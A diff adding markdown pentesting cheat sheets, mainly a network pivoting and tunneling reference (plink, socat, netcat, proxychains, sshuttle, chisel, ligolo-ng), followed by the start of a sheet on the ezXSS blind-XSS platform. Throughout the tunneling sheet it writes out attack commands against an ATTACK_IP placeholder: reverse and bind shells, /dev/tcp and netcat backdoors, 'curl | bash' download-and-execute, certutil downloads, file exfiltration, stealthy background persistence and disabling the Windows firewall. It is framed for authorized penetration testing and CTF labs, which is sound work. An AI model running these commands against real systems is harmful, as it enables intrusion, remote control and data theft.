passwd tunneluser +``` + +### Reverse SSH Tunnel (Expose target service on attacker) +```cmd +# Expose target's localhost:80 on attacker's port 9999 +plink.exe -R 9999:127.0.0.1:80 user@ATTACK_IP -pw password + +# Expose target's RDP to attacker +plink.exe -R 3389:127.0.0.1:3389 user@ATTACK_IP -pw password + +# Expose internal network service +plink.exe -R 8080:10.10.10.50:80 user@ATTACK_IP -pw password + +# Background execution (no window) +plink.exe -ssh -N -R 9999:127.0.0.1:80 user@ATTACK_IP -pw password +``` + +### Dynamic SOCKS Proxy (Access target's network from attacker) +```cmd +# Creates SOCKS proxy on attacker's port 1080 +plink.exe -D 1080 user@ATTACK_IP -pw password + +# Headless mode +plink.exe -N -D 1080 user@ATTACK_IP -pw password +``` + +### Local Port Forward (Access attacker's service from target) +```cmd +# Forward local 8080 to internal service +plink.exe -L 8080:INTERNAL_IP:80 user@ATTACK_IP -pw password + +# Access attacker's tool on target +plink.exe -L 9001:ATTACK_IP:9001 user@ATTACK_IP -pw password +``` + +### Persistence & Stealth +```cmd +# Run in background (no console) +start /B plink.exe -N -R 9999:127.0.0.1:80 user@ATTACK_IP -pw password + +# Auto-accept host key (first connection) +echo y | plink.exe -R 9999:127.0.0.1:80 user@ATTACK_IP -pw password + +# Using SSH key instead of password +plink.exe -i private_key.ppk -R 9999:127.0.0.1:80 user@ATTACK_IP +``` + +--- + +## SOCAT +**Best for:** Port forwarding, shell upgrades, creating relays, encrypted tunnels + +### Basic Port Forwarding +```bash +# Forward local 8080 to remote host (TCP) +./socat_linux_x64 TCP-LISTEN:8080,fork TCP:TARGET_IP:80 + +# UDP port forward +./socat_linux_x64 UDP-LISTEN:53,fork UDP:DNS_SERVER:53 + +# Bind to specific interface +./socat_linux_x64 TCP-LISTEN:8080,bind=192.168.1.10,fork TCP:TARGET_IP:80 + +# IPv6 forwarding +socat TCP6-LISTEN:8080,fork TCP6:[fe80::1]:80 +``` + +### Reverse Shell Relay (Pivot through host) +```bash +# On pivot host - relay connections to attacker +./socat_linux_x64 TCP-LISTEN:4444,fork TCP:ATTACK_IP:4444 + +# Victim connects to pivot +bash -i >& /dev/tcp/PIVOT_IP/4444 0>&1 + +# Attacker receives shell +nc -lvnp 4444 +``` + +### TTY Shell Upgrade (Fully Interactive Shell) +```bash +# Step 1: Attacker - prepare listener +socat file:`tty`,raw,echo=0 TCP-LISTEN:4444 + +# Step 2: Target - connect with PTY +./socat_linux_x64 exec:'bash -li',pty,stderr,setsid,sigint,sane TCP:ATTACK_IP:4444 + +# Result: Full TTY with job control, tab completion, clear screen, etc. +``` + +### Encrypted Tunnels (OpenSSL) +```bash +# Generate certificate +openssl req -newkey rsa:2048 -nodes -keyout bind.key -x509 -days 365 -out bind.crt +cat bind.key bind.crt > bind.pem + +# Listener (encrypted) +socat OPENSSL-LISTEN:4443,cert=bind.pem,verify=0,fork EXEC:/bin/bash + +# Client (connect) +socat - OPENSSL:TARGET_IP:4443,verify=0 +``` + +### File Transfers +```bash +# Sender +socat TCP-LISTEN:9999,reuseaddr FILE:file.zip + +# Receiver +socat TCP:SENDER_IP:9999 CREATE:received.zip +``` + +### Port Scanning with Socat +```bash +# Simple port check +socat - TCP:TARGET:80,connect-timeout=1 + +# Banner grabbing +echo "" | socat - TCP:TARGET:22,connect-timeout=1 +``` + +### Creating Reverse Shells +```bash +# Bind shell (target) +socat TCP-LISTEN:5555,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane + +# Reverse shell (target to attacker) +socat EXEC:/bin/bash TCP:ATTACK_IP:4444 + +# Windows reverse shell +socat TCP:ATTACK_IP:4444 EXEC:'cmd.exe',pipes +``` + +--- + +## NETCAT (NCAT) +**Best for:** Quick port forwarding, simple relays, port scanning, basic file transfers + +### Basic Port Forwarding +```bash +# Simple TCP relay (pivot) +mkfifo /tmp/f; cat /tmp/f | nc TARGET_IP 80 | nc -l -p 8080 > /tmp/f + +# Persistent relay (using while loop) +while true; do nc -l -p 8080 -c "nc TARGET_IP 80"; done +``` + +### Reverse Shell Relay +```bash +# On pivot host - relay to attacker +mkfifo /tmp/f; nc ATTACK_IP 4444 < /tmp/f | nc -l -p 9999 > /tmp/f + +# Victim connects to pivot:9999 +# Attacker gets shell on 4444 +``` + +### File Transfers +```bash +# Receiver (start first) +./ncat_linux_x64 -l -p 9999 > received_file.zip + +# Sender +./ncat_linux_x64 TARGET_IP 9999 < file.zip + +# With progress (using pv) +pv file.zip | nc TARGET_IP 9999 +``` + +### Port Scanning +```bash +# Check single port +nc -zv TARGET_IP 80 + +# Scan range +nc -zv TARGET_IP 20-25 + +# Banner grabbing +echo "" | nc -v -n -w1 TARGET_IP 22 +``` + +### Creating Backdoors +```bash +# Bind shell (target) +./ncat_linux_x64 -l -p 5555 -e /bin/bash + +# Reverse shell (target to attacker) +./ncat_linux_x64 ATTACK_IP 4444 -e /bin/bash + +# Windows reverse shell +ncat.exe ATTACK_IP 4444 -e cmd.exe +``` + +### Chat/Communication Channel +```bash +# Listener +nc -l -p 4444 + +# Client +nc TARGET_IP 4444 +# Type messages, they appear on both sides +``` + +--- + +## PROXYCHAINS (Install Required) +**Best for:** Routing any tool through SOCKS/HTTP proxies (pairs well with Chisel/SSH) + +### Installation +```bash +# macOS +brew install proxychains-ng + +# Kali Linux / Debian / Ubuntu +sudo apt install proxychains4 -y + +# Arch Linux +sudo pacman -S proxychains-ng +``` + +### Config File Locations +``` +# macOS (Homebrew) +/opt/homebrew/etc/proxychains.conf # Apple Silicon +/usr/local/etc/proxychains.conf # Intel Mac + +# Linux +/etc/proxychains.conf # System-wide (older version) +/etc/proxychains4.conf # proxychains-ng (newer) +~/.proxychains/proxychains.conf # User config (highest priority) + +# Kali Linux +/etc/proxychains4.conf +``` + +### Configuration Examples +```bash +# Edit config file +sudo nano /etc/proxychains4.conf + +# Basic SOCKS5 proxy (Chisel default) +[ProxyList] +socks5 127.0.0.1 1080 + +# SOCKS4 proxy +socks4 127.0.0.1 1080 + +# HTTP proxy +http 127.0.0.1 8080 + +# Chain multiple proxies +socks5 127.0.0.1 1080 +socks5 10.10.10.5 1081 +http 172.16.0.1 3128 + +# Proxy with authentication +socks5 127.0.0.1 1080 username password +``` + +### Proxy Modes (in config file) +```bash +# Dynamic chain (dead proxies auto-skipped) +dynamic_chain + +# Strict chain (all proxies must work) +strict_chain + +# Random chain (randomize proxy order) +random_chain +# random_chain = 2 # Use 2 random proxies from list +``` + +### Common Usage +```bash +# Nmap through proxy (use -sT for TCP connect scan) +proxychains4 nmap -sT -Pn 10.10.10.0/24 + +# SSH to internal host +proxychains4 ssh user@internal_host + +# Web requests +proxychains4 curl http://internal-web +proxychains4 wget http://internal-site/file.zip + +# Firefox browser (browse internal web apps) +proxychains4 firefox + +# RDP through proxy +proxychains4 xfreerdp /v:10.10.10.5 /u:admin + +# Metasploit through proxy +proxychains4 msfconsole +``` + +### Quiet Mode (Suppress Proxychains Output) +```bash +# Add to config file +quiet_mode + +# Or use -q flag +proxychains4 -q nmap -sT 10.10.10.0/24 +``` + +### Custom Config File +```bash +# Use specific config +proxychains4 -f /path/to/custom.conf curl http://target + +# Example custom config +cat << EOF > /tmp/proxy.conf +strict_chain +quiet_mode +[ProxyList] +socks5 127.0.0.1 1080 +EOF + +proxychains4 -f /tmp/proxy.conf nmap -sT 10.10.10.5 +``` + +### DNS Configuration +```bash +# In config file: +proxy_dns # Route DNS through proxy (default, recommended) + +# Or disable: +#proxy_dns # Local DNS resolution +``` + +### Troubleshooting +```bash +# Test proxy connection +proxychains4 curl -I http://google.com + +# Verbose mode (see all proxy operations) +# Comment out quiet_mode in config + +# If "ERROR: ld.so: object 'libproxychains.so.3'" appears: +# Update config with correct lib path or reinstall proxychains +``` + +--- + +## SSHUTTLE (Install Required) +**Best for:** VPN-like tunneling over SSH (transparent proxying, no SOCKS needed!) + +### Installation +```bash +# macOS +brew install sshuttle + +# Kali Linux / Debian / Ubuntu +sudo apt install sshuttle -y + +# Arch Linux +sudo pacman -S sshuttle + +# Python pip +pip3 install sshuttle +``` + +### Basic Usage +```bash +# Route all private networks through pivot +sshuttle -r user@PIVOT_HOST 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 + +# Route specific subnet +sshuttle -r user@PIVOT_HOST 10.10.10.0/24 + +# Multiple subnets +sshuttle -r user@PIVOT_HOST 10.10.10.0/24 192.168.1.0/24 + +# Route everything (0/0) - careful! +sshuttle -r user@PIVOT_HOST 0/0 +``` + +### Advanced Options +```bash +# Exclude specific hosts/networks +sshuttle -r user@PIVOT_HOST 10.10.10.0/24 -x PIVOT_HOST -x 10.10.10.50 + +# Use SSH key +sshuttle -r user@PIVOT_HOST -e 'ssh -i /path/to/key' 10.10.10.0/24 + +# Specify SSH port +sshuttle -r user@PIVOT_HOST:2222 10.10.10.0/24 + +# Verbose mode (see connections) +sshuttle -r user@PIVOT_HOST 10.10.10.0/24 -vv + +# DNS through tunnel +sshuttle -r user@PIVOT_HOST 10.10.10.0/24 --dns + +# Auto detect and route all remote subnets +sshuttle -r user@PIVOT_HOST --auto-nets + +# Exclude local DNS +sshuttle -r user@PIVOT_HOST 10.10.10.0/24 --dns --to-ns=8.8.8.8 +``` + +### Daemon Mode (Background) +```bash +# Run in background +sshuttle -r user@PIVOT_HOST 10.10.10.0/24 -D + +# View sshuttle processes +ps aux | grep sshuttle + +# Kill sshuttle +pkill sshuttle +``` + +### Using Jump Hosts +```bash +# SSH through jump host +sshuttle -r user@FINAL_HOST -e 'ssh -J user@JUMP_HOST' 10.10.10.0/24 + +# Multiple hops +sshuttle -r user@HOST3 -e 'ssh -J user@HOST1,user@HOST2' 10.10.10.0/24 +``` + +### Common Scenarios +```bash +# Lab/CTF environment +sshuttle -r user@jump.lab.local 10.0.0.0/8 --dns -vv + +# Pentest engagement (exclude your C2 server) +sshuttle -r user@pivot 10.10.0.0/16 -x YOUR_C2_IP + +# Access cloud internal networks +sshuttle -r ubuntu@bastion.aws.com 10.0.0.0/16 172.31.0.0/16 + +# Through compromised host with SSH +sshuttle -r root@compromised-host 192.168.100.0/24 --no-latency-control +``` + +### Troubleshooting +```bash +# Check firewall rules added by sshuttle +sudo iptables -L -t nat # Linux +sudo pfctl -s all # macOS + +# If connection drops +sshuttle -r user@HOST 10.10.10.0/24 --no-latency-control + +# Manually clean up if sshuttle crashes +sudo pkill sshuttle +sudo iptables -t nat -F # Linux +sudo pfctl -F all # macOS + +# Test connectivity +ping 10.10.10.5 # After sshuttle is running +curl http://10.10.10.50:80 +``` + +### Comparison with Other Tools +``` +SSHuttle vs Ligolo-ng: ++ Simpler (just needs SSH) ++ No agent/binary on target +- Requires SSH access +- Slightly slower + +SSHuttle vs Proxychains + Chisel: ++ Transparent (no proxychains needed) ++ Better performance ++ Simpler to use +- Requires SSH +``` + +--- + +## Quick Transfer Commands + +### Start HTTP Server (Attacker) +```bash +# Python3 (default) +python3 -m http.server 8000 + +# Python3 on specific interface +python3 -m http.server 8000 --bind 192.168.1.10 + +# Python2 +python -m SimpleHTTPServer 8000 + +# PHP +php -S 0.0.0.0:8000 + +# Ruby +ruby -run -e httpd . -p 8000 + +# With authentication +python3 -m http.server 8000 --directory /path/to/files +``` + +### Download on Target + +#### Linux +```bash +# wget +wget http://ATTACK_IP:8000/chisel_linux_amd64 -O /tmp/chisel && chmod +x /tmp/chisel + +# curl +curl http://ATTACK_IP:8000/chisel_linux_amd64 -o /tmp/chisel && chmod +x /tmp/chisel + +# curl with progress bar +curl -# http://ATTACK_IP:8000/file.zip -o /tmp/file.zip + +# Download and execute in memory (be careful!) +curl http://ATTACK_IP:8000/script.sh | bash + +# Using /dev/tcp if no tools available +cat < /dev/tcp/ATTACK_IP/8000 > /tmp/file +``` + +#### Windows PowerShell +```powershell +# Invoke-WebRequest (PowerShell 3.0+) +Invoke-WebRequest -Uri http://ATTACK_IP:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exe + +# Short alias +iwr -uri http://ATTACK_IP:8000/file.zip -o C:\Temp\file.zip + +# WebClient (older PowerShell) +(New-Object System.Net.WebClient).DownloadFile("http://ATTACK_IP:8000/chisel.exe", "C:\Temp\chisel.exe") + +# certutil (sneaky, no PowerShell) +certutil -urlcache -f http://ATTACK_IP:8000/chisel.exe C:\Temp\chisel.exe + +# bitsadmin +bitsadmin /transfer myDownload /download /priority high http://ATTACK_IP:8000/file.exe C:\Temp\file.exe +``` + +#### Windows CMD +```cmd +# PowerShell one-liner from CMD +powershell -c "Invoke-WebRequest -Uri 'http://ATTACK_IP:8000/file.exe' -OutFile 'C:\Temp\file.exe'" + +# certutil +certutil.exe -urlcache -split -f http://ATTACK_IP:8000/file.exe C:\Temp\file.exe +``` + +### Upload from Target to Attacker + +#### Using Netcat +```bash +# Attacker (receiver) +nc -lvnp 9999 > received_file.zip + +# Target (sender) +cat file.zip | nc ATTACK_IP 9999 +``` + +#### Using curl (POST) +```bash +# Attacker (receiver with python) +python3 -m uploadserver 8000 + +# Target (sender) +curl -X POST http://ATTACK_IP:8000/upload -F 'files=@/path/to/file.zip' +``` + +### SMB Transfer (Windows) + +#### Setup SMB Server (Attacker - Linux) +```bash +# Using impacket +impacket-smbserver share /path/to/share -smb2support + +# With authentication +impacket-smbserver share /path/to/share -smb2support -username user -password pass +``` + +#### Access SMB Share (Target - Windows) +```cmd +# List share +net view \\ATTACK_IP + +# Copy from share +copy \\ATTACK_IP\share\chisel.exe C:\Temp\ + +# Execute from share (no copy) +\\ATTACK_IP\share\chisel.exe + +# Mount share +net use Z: \\ATTACK_IP\share +net use Z: \\ATTACK_IP\share /user:user pass +``` + +### Base64 Transfer (Small Files) +```bash +# Encode on attacker +base64 -w0 chisel > chisel.b64 + +# Decode on target (Linux) +echo "BASE64_STRING" | base64 -d > chisel && chmod +x chisel + +# Decode on target (Windows PowerShell) +[System.Convert]::FromBase64String("BASE64_STRING") | Set-Content -Path chisel.exe -Encoding Byte +``` + +--- + +## Common Pentesting Scenarios + +### Scenario 1: Access Internal Network from Compromised DMZ Host + +**Situation:** You compromised a Linux web server in DMZ (10.50.50.5), need to access internal network (192.168.10.0/24) + +**Solution 1: Ligolo-ng (Best - No SOCKS needed)** +```bash +# On attacker +./ligolo-ng/linux/proxy -selfcert -laddr 0.0.0.0:11601 -autoroute + +# On compromised DMZ host +./agent -connect ATTACKER_IP:11601 -ignore-cert + +# In ligolo console +session 1 +start + +# Add route (if autoroute not used) +sudo ip route add 192.168.10.0/24 dev ligolo + +# Access internal network directly +nmap -sT 192.168.10.0/24 +``` + +**Solution 2: Chisel + Proxychains (Fast to setup)** +```bash +# On attacker +./chisel server -p 8080 --reverse + +# On DMZ host +./chisel client ATTACKER_IP:8080 R:1080:socks + +# On attacker +proxychains4 nmap -sT 192.168.10.5 +``` + +### Scenario 2: Windows Target with No Direct Outbound Access + +**Situation:** Windows box can only reach another compromised Linux host (pivot), can't reach attacker directly + +**Solution: Double Pivot with Chisel** +```bash +# Step 1: Setup Chisel on first pivot (Linux) +./chisel server -p 8080 --reverse + +# Step 2: Windows connects to Linux pivot +chisel.exe client LINUX_PIVOT_IP:8080 R:1080:socks + +# Step 3: On attacker, create another tunnel to reach Windows network via Linux pivot +ssh -L 9999:localhost:1080 user@LINUX_PIVOT_IP + +# Step 4: Configure proxychains to use localhost:9999 +# Then access Windows internal network +proxychains4 rdesktop INTERNAL_WINDOWS_IP +``` + +### Scenario 3: Expose Internal Service to Attacker + +**Situation:** Internal MSSQL server at 172.16.5.10:1433, want to connect from attacker + +**Solution 1: Chisel Reverse Port Forward** +```bash +# On attacker +./chisel server -p 8080 --reverse + +# On compromised internal host +./chisel client ATTACKER_IP:8080 R:1433:172.16.5.10:1433 + +# On attacker, connect directly +mssqlclient.py sa:password@127.0.0.1:1433 +``` + +**Solution 2: SSH Reverse Tunnel (if SSH available)** +```bash +# From compromised host +ssh -R 1433:172.16.5.10:1433 user@ATTACKER_IP + +# On attacker +mssqlclient.py sa:password@127.0.0.1:1433 +``` + +### Scenario 4: Port Forward Through Windows (No Custom Tools) + +**Situation:** Compromised Windows server, need tunnel but can't upload tools + +**Solution: Built-in Windows Port Forward (netsh)** +```cmd +# Forward local port 8080 to internal service +netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=10.10.10.50 + +# View forwards +netsh interface portproxy show all + +# Delete forward +netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 +``` + +### Scenario 5: Multiple Nested Networks (3+ Hops) + +**Situation:** Attacker -> Host A (10.10.10.5) -> Host B (192.168.1.10) -> Target Network (172.16.0.0/24) + +**Solution: Ligolo-ng Listener Chaining** +```bash +# Step 1: Connect Agent A to attacker +# On attacker +./proxy -selfcert -laddr 0.0.0.0:11601 + +# On Host A +./agent -connect ATTACKER_IP:11601 -ignore-cert + +# Step 2: In ligolo console, create listener on Host A for Host B +session 1 +listener_add --addr 0.0.0.0:11601 --to ATTACKER_IP:11601 +start + +# Step 3: Add route to Host A network +sudo ip route add 192.168.1.0/24 dev ligolo + +# Step 4: From Host B, connect through Host A +./agent -connect 192.168.1.10:11601 -ignore-cert + +# Step 5: Select Host B session and add route +session 2 +start +sudo ip route add 172.16.0.0/24 dev ligolo + +# Access final target network +nmap 172.16.0.5 +``` + +### Scenario 6: Catch Reverse Shell Through Tunnel + +**Situation:** Need to catch a reverse shell from internal network host (no direct route) + +**Solution: Ligolo-ng Listener (Reverse Port Forward)** +```bash +# Setup tunnel to internal network (as usual) +./proxy -selfcert -laddr 0.0.0.0:11601 +./agent -connect ATTACKER_IP:11601 -ignore-cert + +# In ligolo console, setup listener +session 1 +listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 +start + +# On attacker, setup nc listener +nc -lvnp 4444 + +# On target internal host, execute reverse shell to agent's IP +bash -i >& /dev/tcp/AGENT_IP/4444 0>&1 + +# Shell appears on attacker's nc listener! +``` + +### Scenario 7: Access Internal Web Application + +**Situation:** Internal web app at http://intranet.local (192.168.5.50:80), want to browse from attacker + +**Solution 1: Ligolo-ng (Direct Access)** +```bash +# Setup tunnel +./proxy -selfcert -laddr 0.0.0.0:11601 -autoroute +./agent -connect ATTACKER_IP:11601 -ignore-cert + +# Start tunnel +session 1; start + +# Add to /etc/hosts +echo "192.168.5.50 intranet.local" | sudo tee -a /etc/hosts + +# Browse directly +firefox http://intranet.local +``` + +**Solution 2: Chisel + Browser SOCKS Proxy** +```bash +# Setup chisel +./chisel server -p 8080 --reverse +./chisel client ATTACKER_IP:8080 R:1080:socks + +# Configure Firefox SOCKS proxy: +# Preferences -> Network Settings -> Manual proxy +# SOCKS Host: 127.0.0.1, Port: 1080, SOCKS v5 +# Browse to http://192.168.5.50 +``` + +### Scenario 8: RDP to Windows Machine in Internal Network + +**Situation:** Windows Server at 10.10.50.10, need RDP access + +**Solution 1: Through SOCKS Proxy** +```bash +# Setup Chisel tunnel +./chisel server -p 8080 --reverse +./chisel client ATTACKER_IP:8080 R:1080:socks + +# Use proxychains with RDP client +proxychains4 xfreerdp /v:10.10.50.10 /u:administrator /p:password /cert-ignore +``` + +**Solution 2: Direct Port Forward** +```bash +# Chisel reverse port forward +./chisel client ATTACKER_IP:8080 R:3389:10.10.50.10:3389 + +# Direct RDP connection +xfreerdp /v:127.0.0.1:3389 /u:administrator /p:password +``` + +--- + +## Tool Selection Guide + +### When to Use Each Tool + +#### Use LIGOLO-NG when: +- You need full network access (scanning, multiple services) +- Want transparent access without SOCKS/proxychains +- Have ability to upload agent binary +- Need clean, VPN-like experience +- Working with multiple nested networks +- Performance matters (faster than SOCKS) + +#### Use CHISEL when: +- Need quick SOCKS proxy setup +- Working through HTTP-only egress +- Want to forward specific ports +- Can't use SSH +- Need cross-platform support +- Working on HTB/CTF (widely supported) + +#### Use SSHUTTLE when: +- Target already has SSH running +- Don't want to upload any tools +- Need quick, transparent VPN-like access +- Working on Linux/Mac +- Want simple solution without agents + +#### Use PLINK when: +- Target is Windows +- SSH server available on attacker +- Can't upload other tools (plink is well-known, less suspicious) +- Need quick reverse tunnel +- Working with older Windows systems + +#### Use SOCAT when: +- Need encrypted tunnels (OpenSSL) +- Creating relay points +- Upgrading reverse shells to TTY +- Need UDP forwarding +- Want flexibility for custom scenarios + +#### Use NETCAT when: +- Just need basic port forwarding +- Creating simple relays +- Quick file transfers +- Testing connectivity +- Available on target (often pre-installed) + +#### Use PROXYCHAINS when: +- Already have SOCKS proxy (Chisel, SSH) +- Need to route tools that don't support proxies +- Want to chain multiple proxies +- Working with scanners/exploit tools + +### Decision Tree + +``` +Do you have SSH access on target? +├── YES: Use SSHuttle (simplest) or SSH tunneling +└── NO: Continue... + +Can you upload custom binaries? +├── YES: Continue... +│ ├── Need VPN-like full network access? +│ │ └── YES: Use Ligolo-ng (best performance) +│ └── Need SOCKS proxy or port forward? +│ └── YES: Use Chisel (most versatile) +└── NO: Continue... + ├── Windows target? + │ ├── Plink available? -> Use Plink + │ └── Use netsh portproxy (built-in) + └── Linux/Unix target? + ├── Netcat available? -> Use Netcat relay + ├── Socat available? -> Use Socat + └── Bash only? -> Use /dev/tcp relay +``` + +### Performance Comparison + +| Tool | Speed | Latency | Resource Usage | Stealth | +|------|-------|---------|----------------|---------| +| Ligolo-ng | Excellent | Low | Low | High | +| SSHuttle | Very Good | Low | Low | Very High | +| Chisel | Good | Medium | Low | Medium | +| SSH Tunnels | Very Good | Low | Low | Very High | +| Socat | Good | Low | Very Low | High | +| Netcat | Fair | Medium | Very Low | Medium | + +--- + +## Troubleshooting + +### Chisel Issues + +**Problem: Client connects but SOCKS proxy doesn't work** +```bash +# Check if server is running with --reverse flag +./chisel server -p 8080 --reverse + +# Verify SOCKS port is listening on attacker +ss -tlnp | grep 1080 + +# Test SOCKS proxy +curl --socks5 127.0.0.1:1080 http://internal-host +``` + +**Problem: Connection refused / Can't connect** +```bash +# Check firewall on attacker +sudo ufw allow 8080/tcp + +# Verify chisel is listening +ss -tlnp | grep 8080 + +# Try different port (maybe 8080 is blocked) +./chisel server -p 443 --reverse +``` + +### Ligolo-ng Issues + +**Problem: TUN interface not created** +```bash +# Linux - create manually +sudo ip tuntap add user $(whoami) mode tun ligolo +sudo ip link set ligolo up + +# Check if interface exists +ip addr show ligolo + +# macOS - install tuntap +brew install --cask tuntap +``` + +**Problem: Can't add routes / routes not working** +```bash +# Check if tunnel is started +# In ligolo console: start + +# Verify route +ip route | grep ligolo + +# Check if interface is UP +ip link show ligolo + +# Try deleting and re-adding route +sudo ip route del 10.10.10.0/24 dev ligolo +sudo ip route add 10.10.10.0/24 dev ligolo +``` + +**Problem: Agent won't connect** +```bash +# Check firewall +sudo ufw allow 11601/tcp + +# Verify proxy is listening +ss -tlnp | grep 11601 + +# Try binding to specific IP +./proxy -selfcert -laddr 0.0.0.0:11601 + +# On agent, try explicit bind +./agent -connect ATTACKER_IP:11601 -ignore-cert -bind 0.0.0.0 +``` + +### SSH / SSHuttle Issues + +**Problem: SSHuttle connection drops** +```bash +# Use --no-latency-control +sshuttle -r user@host 10.10.10.0/24 --no-latency-control + +# Check SSH connection stability +ssh user@host 'while true; do date; sleep 5; done' +``` + +**Problem: SSH password authentication failed** +```bash +# Enable password auth on SSH server +sudo vim /etc/ssh/sshd_config +# Set: PasswordAuthentication yes +sudo systemctl restart sshd +``` + +### Proxychains Issues + +**Problem: DNS leaks / DNS not working** +```bash +# In /etc/proxychains4.conf, ensure: +proxy_dns + +# Or add to config: +proxy_dns_old # Use old method if new one fails +``` + +**Problem: Tool doesn't work with proxychains** +```bash +# Some tools don't support SOCKS proxying +# Workaround: Use Ligolo-ng or SSHuttle instead + +# For nmap, always use: +proxychains4 nmap -sT -Pn target +# -sT: TCP connect (required) +# -Pn: Skip ping (ICMP doesn't work through SOCKS) +``` + +**Problem: "ERROR: ld.so: object 'libproxychains.so.3'"** +```bash +# Find correct library +find /usr -name "libproxychains*" + +# Update config with correct path +sudo vim /etc/proxychains4.conf +# Update: /usr/lib/libproxychains4.so (or wherever it is) +``` + +### Windows Specific Issues + +**Problem: PowerShell execution policy blocks scripts** +```powershell +# Bypass execution policy +powershell -ExecutionPolicy Bypass -File script.ps1 + +# Or set for current session +Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass +``` + +**Problem: Windows Firewall blocks tunneling tools** +```cmd +# Disable firewall (if you have admin) +netsh advfirewall set allprofiles state off + +# Or add specific rule +netsh advfirewall firewall add rule name="Chisel" dir=in action=allow program="C:\Temp\chisel.exe" +``` + +**Problem: Plink asks to cache host key (breaks automation)** +```cmd +# Auto-accept with echo +echo y | plink.exe -R 9999:127.0.0.1:80 user@ATTACKER_IP -pw password + +# Or use -batch flag (doesn't prompt) +plink.exe -batch -R 9999:127.0.0.1:80 user@ATTACKER_IP -pw password +``` + +### General Networking Issues + +**Problem: Can't reach internal network after setting up tunnel** +```bash +# Check routing table +ip route # Linux +route print # Windows +netstat -nr # macOS + +# Verify tunnel interface is UP +ip addr show + +# Test connectivity +ping INTERNAL_IP +traceroute INTERNAL_IP + +# Check if packet forwarding is enabled (Linux) +sysctl net.ipv4.ip_forward # Should be 1 +sudo sysctl -w net.ipv4.ip_forward=1 +``` + +**Problem: Slow tunnel performance** +```bash +# For SSH-based tunnels, enable compression +ssh -C -D 1080 user@host + +# For Chisel, try different port (avoid port 80/443 if proxy interferes) +./chisel server -p 9999 --reverse + +# For Ligolo-ng, check MTU settings +# Reduce MTU if needed +sudo ip link set ligolo mtu 1400 +``` + +**Problem: Firewall blocks outbound connections** +```bash +# Try common allowed ports +# 80 (HTTP), 443 (HTTPS), 53 (DNS), 22 (SSH) + +# Chisel over HTTPS port +./chisel server -p 443 --reverse + +# Ligolo-ng over HTTPS +./proxy -selfcert -laddr 0.0.0.0:443 + +# SSH over 443 +ssh -p 443 user@host +``` + +--- + +## Quick Command Reference + +### Most Common Commands + +```bash +# Quick SOCKS proxy with Chisel +./chisel server -p 8080 --reverse # Attacker +./chisel client ATTACKER_IP:8080 R:1080:socks # Target + +# Ligolo-ng full tunnel +./proxy -selfcert -laddr 0.0.0.0:11601 -autoroute # Attacker +./agent -connect ATTACKER_IP:11601 -ignore-cert # Target +# Then: session 1 -> start + +# SSHuttle VPN +sshuttle -r user@pivot 10.0.0.0/8 --dns -vv + +# Reverse port forward +ssh -R 8080:localhost:80 user@attacker # SSH +./chisel client ATTACKER_IP:8080 R:8080:localhost:80 # Chisel +plink.exe -R 8080:localhost:80 user@attacker -pw pass # Plink + +# Local port forward +ssh -L 8080:internal-host:80 user@pivot +./chisel client ATTACKER_IP:8080 L:8080:internal-host:80 + +# Dynamic SOCKS +ssh -D 1080 user@pivot +./chisel client ATTACKER_IP:8080 1080:socks + +# Using proxychains +proxychains4 nmap -sT -Pn 10.10.10.0/24 +proxychains4 firefox +proxychains4 msfconsole + +# File transfer +python3 -m http.server 8000 # Attacker +wget http://ATTACKER_IP:8000/file -O /tmp/file # Target Linux +iwr http://ATTACKER_IP:8000/file -o C:\Temp\file # Target Windows + +# Reverse shell relay with socat +socat TCP-LISTEN:4444,fork TCP:ATTACKER_IP:4444 # Pivot +# Victim connects to pivot:4444 +``` + +--- + +## Additional Resources + +### Port Reference +``` +Common Tunnel Ports: +- 11601: Ligolo-ng default +- 8080: Chisel default (HTTP alternative) +- 1080: SOCKS proxy standard +- 8888: Alternative HTTP forward +- 9050: Tor SOCKS proxy +- 22: SSH +``` + +### Testing Connectivity +```bash +# Check if port is open +nc -zv TARGET_IP PORT + +# Check HTTP service +curl -I http://TARGET_IP:PORT + +# Check SOCKS proxy +curl --socks5 127.0.0.1:1080 http://target + +# Test route +ping TARGET_IP +traceroute TARGET_IP + +# Check listening ports on local +ss -tlnp # Linux +netstat -an | find "LISTEN" # Windows +``` + +### Useful Aliases (Add to ~/.bashrc or ~/.zshrc) +```bash +# Quick HTTP server +alias serve='python3 -m http.server 8000' + +# Quick SOCKS with Chisel +alias chisel-server='~/tools/chisel/chisel server -p 8080 --reverse' + +# Proxychains shortcut +alias pc='proxychains4 -q' + +# Quick nmap through proxy +alias pcnmap='proxychains4 nmap -sT -Pn' +``` + +--- + +**Created for Security Testing & Authorized Penetration Testing Only** diff --git a/src/content/sheets/web/blind-xss-tool-ezxss.md b/src/content/sheets/web/blind-xss-tool-ezxss.md @@ -0,0 +1,393 @@ +--- +title: "Blind XSS Tool - ezXSS" +description: "ezXSS is a self-hosted blind-XSS platform for generating probes, receiving browser reports, managing notifications, and controlling how evidence is…" +category: web +tags: ["web", "adcs", "xss"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Web/Blind XSS Tool - ezXSS.md" +--- +# Blind XSS Tool — ezXSS `fas:ClipboardList` + +## Summary `ris:Eye` + +[ezXSS](https://github.com/ssl/ezXSS) is a self-hosted blind-XSS platform for generating probes, receiving browser reports, managing notifications, and controlling how evidence is stored. Its Docker deployment can configure the database and obtain a TLS certificate automatically. For HTB use, keep public registration disabled, allowlist only the active lab domains, minimise collected data, and leave persistent-session features disabled unless a specific authorised lab objective requires them. + +> [!danger]+ HTB-Only Boundary +> `fas:TriangleExclamation` +> 1. Use ezXSS only in Hack The Box, intentionally vulnerable applications, or systems you own and are explicitly authorised to test. +> 2. Reports may contain cookies, browser storage, DOM content, screenshots, internal URLs, and other sensitive lab data. +> 3. Do not enable public signup, recursive spidering, persistent sessions, or custom post-callback actions for the quick-start workflow. +> 4. See Cross-Site Scripting (XSS) - HTB Cheat Sheet for context selection, safe payload progression, and reporting. + +--- + +## Conceptual Information `ris:GlobalLine` + +### When to Use ezXSS + +| Requirement | Fit | +|---|---| +| Detailed blind-XSS reports and flexible alerts | **Strong fit** | +| Strict domain allowlisting | **Strong fit** | +| 